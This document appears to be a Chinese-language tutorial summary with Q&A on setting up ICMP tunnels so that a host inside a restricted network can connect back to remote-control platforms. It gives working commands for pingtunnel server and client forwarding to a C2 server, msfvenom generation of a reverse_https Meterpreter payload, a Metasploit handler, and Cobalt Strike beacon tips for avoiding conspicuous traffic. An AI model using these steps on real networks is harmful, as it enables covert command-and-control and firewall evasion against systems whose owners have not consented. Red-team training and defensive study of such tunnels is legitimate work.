内网知识之ICMP隧道搭建
内容提要
本文介绍了网络通信中的隧道通信方式和判断内网连通性的方法,包括网络层、传输层和应用层隧道。还介绍了常用的网络工具和应用层隧道工具。通过实战背景介绍了利用ICMP隧道搭建反向TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台的方案设计和工具安装步骤。
延伸解读
隧道选型:为何推荐pingtunnel
文章对比了多种隧道工具,指出icmpsh反弹cmd不稳定,icmptunnel需root权限且动静大,而pingtunnel支持TCP、UDP、SOCKS5 over ICMP,速度快、连接稳定、跨平台,且client模式无需管理员权限。因此,在只有ICMP协议可出网的场景下,pingtunnel是更实用的选择。
实战方案设计要点
文章设定了一个典型场景:内网主机仅ICMP协议可出网,TCP、UDP、DNS、HTTP均被阻断。此时可利用ICMP协议构建反向TCP over ICMP或SOCKS over ICMP隧道,将远控流量封装在ICMP报文中绕过防火墙。方案核心是使用pingtunnel在公网服务器与内网主机之间建立隧道,再通过隧道转发远控连接。
Cobalt Strike上线注意事项
使用Cobalt Strike通过ICMP隧道上线时,需注意默认心跳为60秒,导致命令响应慢,可通过sleep命令调整,但不宜过快以免流量异常。在beacon中执行系统命令需加shell前缀,如shell whoami。此外,Teamserver需以root权限运行,客户端连接需Java环境。
工具安装与权限细节
在Kali上安装pingtunnel需从GitHub下载,并安装libpcap依赖;Windows真机同样从GitHub下载。启动服务端需root权限,客户端命令中-l指定本地监听,-s指定服务端IP,-t指定转发目标,-tcp 1表示转发TCP。这些细节影响隧道能否成功建立。
Q&A
什么是隧道通信?它有什么作用?
隧道是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙允许的数据包类型或端口进行封装,然后穿过防火墙与对方通信。当封装的数据包到达目的地时,将数据包还原并发送到相应的服务器上。
如何判断内网主机能否上外网?
判断内网连通性需要综合判断各种协议(TCP、HTTP、DNS、ICMP等)及端口通信情况。常见允许流量流出的端口有80、8080、443、53、110、123等。常用方法:ICMP协议用ping命令,TCP协议用netcat,HTTP协议用curl,DNS协议用nslookup。
有哪些常用的ICMP隧道工具?推荐使用哪个?
常用ICMP隧道工具包括icmpsh、icmptunnel、pingtunnel。推荐使用pingtunnel,因为它支持tcp、udp、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用。
pingtunnel在Kali和Windows上如何安装?
Kali安装:从GitHub下载pingtunnel releases,并安装libpcap(下载libpcap-1.9.0.tar.gz,解压后执行./configure)。Windows安装:直接从GitHub下载pingtunnel releases。
如何利用ICMP隧道让内网主机上线Metasploit?
步骤:1. 在具有公网IP的Kali上以root运行./pingtunnel -type server -noprint 1 -nolog 1启动服务端。2. 在内网主机运行pingtunnel.exe -type client -l 127.0.0.1:9999 -s 服务端IP -t C2服务器IP:7777 -tcp 1 -noprint 1 -nolog 1。3. 生成反向payload:msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe,上传并执行。4. 在Metasploit中设置监听:use exploit/multi/handler,set payload windows/meterpreter/reverse_https,set lhost 0.0.0.0,set lport 7777,run。
使用Cobalt Strike通过ICMP隧道上线时需要注意什么?
注意:1. Teamserver必须以root权限运行。2. 默认心跳为60秒,导致命令响应慢,建议用sleep命令降低交互时间(如sleep 5),但不宜太快以免流量明显。3. 在beacon中执行命令需加shell前缀,如shell whoami。